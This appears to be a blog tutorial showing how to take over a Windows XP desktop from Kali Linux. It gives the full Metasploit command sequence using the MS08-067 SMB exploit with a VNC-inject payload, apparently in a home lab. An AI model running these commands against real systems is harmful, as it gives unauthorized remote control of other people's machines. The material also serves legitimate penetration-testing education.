Hacking Windows : Totally own it – Hollywood Style – Kali Linux
Now while the real life hacking and the one in the movies might seem far from congruent, there is some similarity at least, and in this post, we’ll get no shells, no meterpreter, no bullshit. We’ll simply get the Windows XP desktop inside our Kali machine like we actually are on it.
Starting metasploit
You must be having Kali Linux installed, follow the link if you haven’t already got Kali Linux.
After that, execute the following commands on terminal to get Metasploit running
service postgresql start
service metasploit start
msfconsole
After this, you metasploit framework will start.
Information Gathering
- Find IP of XP machine by running ipconfig on XP command prompt.
- Find IP of Kali machine by running ifconfig on Kali terminal.
Hacking XP
msf > use exploit/windows/smb/ms08_067_netapi
It selects the netapi ms08 exploit which is well known for Windows XP. Now execute the following (everything before > will already be there)
msf exploit(ms08_067_netapi) > set PAYLOAD windows/vncinject/bind_tcp
Now execute a show options to get an idea what all values need to be filled.
msf exploit(ms08_067_netapi) >show options
You will need the information gathered from Information Gathering step. Remember – XP -> Remote host (RHOST). This is all we need. Just enter the XP IP instead of 192.168.xxx.xxx
msf exploit(ms08_067_netapi) > set RHOST 192.168.xxx.xxx
That would be all. Now type exploit and press enter.
msf exploit(ms08_067_netapi) > exploit
